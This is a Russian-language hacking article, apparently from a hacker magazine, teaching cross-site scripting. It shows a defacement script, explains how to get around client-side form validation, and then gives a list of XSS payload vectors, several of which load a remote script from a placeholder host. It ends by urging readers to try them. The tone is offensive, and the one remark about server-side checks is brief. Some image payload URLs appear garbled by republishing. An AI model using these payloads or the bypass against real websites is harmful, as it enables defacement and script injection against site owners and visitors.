Сейчас много разговоров начет XSS и СSS. Суть проблемы заключается в возможности выполнения сценариев на клиентской машине от имени сервера. В принципе это не большая проблема, но если есть возможность внедрения скрипта/тега на страницу, то вполне реальным
станет и Deface :). Cross Site Scripting довольно интересен и при должном умении может стать опасным оружием...
Рассмотрим небольшой пример, есть некий сайт на главной странице которого автоматически выкладываются 5 новых тем форума. Если нам удастся внедрить Java Script:
<SCRIPT>
document.open();
document.clear();
document.write('Hacked by Hack[ER]');
</SCRIPT>
То вместо привычного интерфейса, зайдя на сайт, мы увидим фразу "Hacked by Hack[ER]". Сам
процесс внедрения можно реализовать несколькими способами. Допустим тот сайт проверял наличие тегов
посредством Java Script'а или вообще не проводил никакие проверки. Пример:
..........
<FORM name=addmessage action=addmessage>
<INPUT type=text name=nick>
<INPUT type=password name=pass>
<TEXTAREA name=body></TEXTAREA>
</FORM>
..........
Теперь мы знаем что проверок скриптами нет. Посмотрим на такой вариант
..........
<FORM name=addmessage action=addmessage onSubmit='CheckForm()'>
<INPUT type=text name=nick>
<INPUT type=password name=pass>
<TEXTAREA name=body></TEXTAREA>
</FORM>
..........
Вся разница в том, что теперь проверка производится скриптом. Большей разницы нет, просто надо сохранить страницу на
компьютер, прописать полный путь к скрипту и убрать проверку.
То есть свести к такому виду:
..........
<FORM name=www.host.com/cgi-bin/addmessage action=addmessage>
<INPUT type=text name=nick>
<INPUT type=password name=pass>
<TEXTAREA name=body></TEXTAREA>
</FORM>
..........
или в адресной строке браузера прописать следующий URL:
www.host.com/cgi-bin/addmessage?nick=nick&pass=pass&body=body
таким способом мы задали значения полей равные их названию.
Дальше я просто приведу список различных тегов,
выполняющих одинаковые действия -
выводящие сообщения "XSS":
<SCRIPT>alert('XSS')</SCRIPT>
<SCRIPT src="http://www.host.com/script.js"></SCRIPT>
(http://www.host.com/script.js путь к внедренному скрипту)
<BODY onLoad="alert('XSS')">
<LAYER src="http://www.host.com/script.js"></LAYER>
(http://www.host.com/script.js путь к внедренному скрипту)
<ILAYER src="http://www.host.com/script.js"></ILAYER>
(http://www.host.com/script.js путь к внедренному скрипту)
<LINK rel=stylesheet type="text/javascript" SRC="http://www.host.com/script.js">
(http://www.host.com/script.js путь к внедренному скрипту)
<IMG src="https://xakep.ru/wp-content/uploads/post/15927/image.jpg" onError="alert('XSS')">
(image.jpg не существует)
<IMG src="https://xakep.ru/wp-content/uploads/post/15927/JavaScript:alert('XSS')">
<IMG src="https://xakep.ru/wp-content/uploads/post/15927/image.jpg" onLoad="alert('XSS')">
(image.jpg существует)
<META HTTP-EQUIV="Refresh" content ="1; URL=JavaScript:alert('XSS')">
<STYLE TYPE="text/css">
@import url(http://www.host.com/script.js);
</STYLE>
(http://www.host.com/script.js путь к внедренному скрипту)
<STYLE type="text/javascript">alert('XSS');</STYLE>
<p style="left:expression(eval('alert(\'XSS\')'))">
Не надо забывать, что все проверки должны проводится на сервере, и возможно
сработают не все теги или ни один 🙂 Но иногда бывает так, что проверке поддаются только некоторые данные, а не все,
тут вам поможет только практика...
Можно попробывать и следующее:
<img src="https://xakep.ru/wp-content/uploads/post/15927/vbscript:code here">
<img src="https://xakep.ru/wp-content/uploads/post/15927/mocha:code here">
Бывает, что попытки станут удачными после внедрения тегов в юникоде...
Вспомните хотя бы ISS Uncode Bug...
Дерзайте!